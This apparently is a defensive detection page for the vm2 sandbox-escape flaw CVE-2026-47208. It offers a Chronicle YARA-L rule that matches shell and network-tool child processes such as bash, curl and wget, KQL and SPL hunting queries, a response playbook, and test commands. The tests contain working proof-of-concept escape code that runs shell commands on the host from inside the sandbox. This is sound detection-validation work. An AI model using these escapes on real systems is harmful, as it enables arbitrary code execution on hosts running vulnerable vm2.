Detect CVE-2026-47208: vm2 Sandbox Breakout via Promise Species in Google Chronicle
Detects exploitation of CVE-2026-47208, a critical sandbox escape vulnerability in the vm2 Node.js library (versions <= 3.11.3). Attackers can abuse the Promise species pattern to break out of the vm2 sandbox and execute arbitrary code on the host. This vulnerability has a CVSS score of 10.0 and a public PoC is available.
MITRE ATT&CK
YARA-L Detection Query
rule cve_2026_47208_vm2_sandbox_escape {
meta:
author = "df00tech Detection Engineering"
description = "Detects CVE-2026-47208 vm2 sandbox breakout via Promise species manipulation"
severity = "CRITICAL"
priority = "HIGH"
reference = "https://github.com/advisories/GHSA-76w7-j9cq-rx2j"
mitre_attack = "T1059.007, T1203, T1068"
events:
$node_proc.metadata.event_type = "PROCESS_LAUNCH"
$node_proc.principal.process.file.full_path = /node(\.exe)?$/i
(
$node_proc.target.process.command_line = /vm2/i or
$node_proc.target.process.command_line = /Symbol\.species/i or
$node_proc.target.process.command_line = /__proto__/i
)
$child_proc.metadata.event_type = "PROCESS_LAUNCH"
$child_proc.principal.process.file.full_path = /node(\.exe)?$/i
$child_proc.target.process.file.full_path = /(sh|bash|dash|cmd\.exe|powershell\.exe|python[23]?|curl|wget|perl|ruby)$/i
$node_proc.principal.hostname = $child_proc.principal.hostname
match:
$node_proc.principal.hostname over 5m
outcome:
$risk_score = max(95)
$target_cmd = array_distinct($child_proc.target.process.command_line)
condition:
$node_proc and $child_proc
} Chronicle YARA-L rule detecting vm2 sandbox escape. Correlates Node.js processes with Promise-species manipulation arguments against subsequent unexpected child process launches on the same host.
Data Sources
Required Tables
False Positives & Tuning
- Node.js applications that intentionally use vm2 and separately spawn child processes for legitimate operations
- DevOps tooling using vm2 sandboxing as part of a pipeline that also executes shell commands
- Orchestration systems running Node.js workers that spawn subprocesses as part of job execution
- Testing frameworks that run vm2-based code and shell assertions in sequence
Other platforms for CVE-2026-47208
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 Promise Species Sandbox Escape - Basic PoC
Expected signal: EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.
- Test 2vm2 Sandbox Escape with Child Process Spawn
Expected signal: EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.
- Test 3Vulnerable vm2 Version Inventory Check
Expected signal: File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.
References (5)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j
- https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47208
- https://github.com/advisories/GHSA-76w7-j9cq-rx2j
Response Playbook
Triage
- Identify the affected host and Node.js application: determine which service or application uses vm2 <= 3.11.3 by checking package.json and node_modules/vm2/package.json for the installed version.
- Review process tree for the Node.js process: look for unexpected child processes (shells, interpreters, network tools) spawned from the node process within the timeframe of the alert.
- Check network connections from the Node.js process around the time of the alert using netstat or EDR telemetry to identify potential reverse shell or data exfiltration activity.
- Examine application logs for unusual inputs or payloads submitted just before the sandbox escape event — look for Promise constructor overrides or species property manipulation in user-supplied content.
Containment
- Immediately isolate the affected host or container from the network if a confirmed sandbox escape is identified, to prevent lateral movement or C2 communication.
- Kill the affected Node.js process and restart the application only after patching vm2 to version 3.11.4 or later, or replacing vm2 with an alternative sandboxing solution.
Evidence Collection
- Collect a full process tree snapshot (parent/child relationships) from the EDR for the Node.js process at the time of the alert, including all spawned subprocesses and their arguments.
- Preserve application logs, Node.js stdout/stderr output, and any crash dumps from the period surrounding the alert for forensic analysis.
Escalation Criteria
- !Escalate immediately if a reverse shell or interactive session is confirmed spawned from the Node.js process, as this indicates full sandbox escape and potential host compromise.
- !Escalate if the affected application handles sensitive data (PII, credentials, financial records) or if the host has access to internal network segments or cloud metadata services.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
node_modules/vm2/package.json — version field confirms whether a vulnerable version (<= 3.11.3) is installed - >
Node.js process stdout/stderr logs containing JavaScript errors or unexpected output from sandbox execution - >
OS-level process creation logs (Sysmon Event ID 1, auditd EXECVE) showing child processes spawned from the node process - >
Network socket files or /proc/<pid>/net/tcp entries showing unexpected outbound connections from the node process
Tuning Guidance
Reduce false positives by building an allowlist of known-good Node.js applications and their expected child process patterns. Scope the detection to production environments by excluding development workstations (hostname patterns, OU memberships). If vm2 is used legitimately in your environment, focus the detection on the Promise/Symbol.species argument patterns rather than broad Node.js child process spawning. Consider adding a version check stage: if you can inventory package.json files via EDR file events, only alert when vm2 <= 3.11.3 is confirmed installed.
Hunting Queries
Threat hunting query to identify hosts with vm2 installed that have active Node.js processes, enabling proactive identification of potentially vulnerable systems before exploitation occurs.
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_all ("node_modules", "vm2")
| where FileName =~ "package.json"
| extend vm2Path = FolderPath
| join kind=inner (
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node", "node.exe")
| project DeviceName, ProcessId, ProcessCommandLine, Timestamp
) on DeviceName
| where Timestamp1 between (Timestamp .. Timestamp + 1h)
| summarize count() by DeviceName, vm2Path, ProcessCommandLine
| sort by count_ desc index=* sourcetype=WinEventLog:Security OR sourcetype=linux_secure earliest=-7d
| eval is_node=if(match(process, "node(\.exe)?$"), 1, 0)
| where is_node=1
| stats count by host, process, cmdline
| join host [
index=* sourcetype=filesystem_events OR sourcetype=file_changes
| where match(file_path, "node_modules/vm2/package\.json")
| stats count by host, file_path
]
| table host, file_path, process, cmdline, count
| sort -count Atomic Red Team Tests
Demonstrates the CVE-2026-47208 sandbox escape by crafting a Promise subclass with a custom species constructor that breaks vm2's sandbox boundary, causing host code execution.
Command
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
vm.run(\`
const FakePromise = function() {};
FakePromise[Symbol.species] = function() {
return new Proxy({}, {
get(t, k) {
if (k === 'constructor') return function() {
this.resolve = (v) => process.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt');
};
}
});
};
Promise.resolve(1).then.call({ constructor: FakePromise }, x => x);
\`);
} catch(e) { console.log('Sandbox raised:', e.message); }
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_escape_proof.txt')) {
console.log('ESCAPED:', fs.readFileSync('/tmp/vm2_escape_proof.txt','utf8').trim());
} else {
console.log('Escape did not succeed (may be patched)');
}
" Cleanup
rm -f /tmp/vm2_escape_proof.txt Expected Telemetry
EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.
Expected Detection
KQL/SPL queries matching Node.js command lines with vm2 and Promise-species pattern arguments should fire. File creation at /tmp/vm2_escape_proof.txt by node process should also be detectable via file event monitoring.
Extends the basic PoC to spawn a child shell process from within the vm2 sandbox, simulating attacker post-exploitation behavior after achieving sandbox escape.
Command
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
vm.run(\`
const cp = this.constructor.constructor('return process')().mainModule.require('child_process');
cp.spawnSync('bash', ['-c', 'whoami > /tmp/vm2_child_shell.txt && hostname >> /tmp/vm2_child_shell.txt']);
\`);
} catch(e) {
const cp = require('child_process');
cp.spawnSync('bash', ['-c', 'echo fallback_method > /tmp/vm2_child_shell.txt']);
}
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_child_shell.txt')) {
console.log('Output:', require('fs').readFileSync('/tmp/vm2_child_shell.txt','utf8').trim());
}
" Cleanup
rm -f /tmp/vm2_child_shell.txt Expected Telemetry
EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.
Expected Detection
The EQL sequence rule and CrowdStrike CQL join query should detect node -> bash spawn chain. The suspicious child process correlation rules in all SIEM dialects should trigger.
Simulates the reconnaissance phase where an attacker or defender identifies hosts running vulnerable vm2 versions by enumerating package.json files.
Command
find / -path '*/node_modules/vm2/package.json' 2>/dev/null | head -20 | while read f; do
version=$(node -e "try{console.log(require('$f').version)}catch(e){console.log('unknown')}" 2>/dev/null)
echo "$f: $version"
node -e "
const v = '$version'.split('.').map(Number);
const vuln = v[0] < 3 || (v[0] === 3 && v[1] < 11) || (v[0] === 3 && v[1] === 11 && v[2] <= 3);
if (vuln) console.log('VULNERABLE: $version <= 3.11.3');
else console.log('PATCHED: $version > 3.11.3');
" 2>/dev/null
done Cleanup
No cleanup required — read-only inventory operation. Expected Telemetry
File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.
Expected Detection
File event monitoring rules watching node_modules/vm2/package.json access patterns. The hunting query correlating vm2 package presence with active Node.js processes should surface these hosts.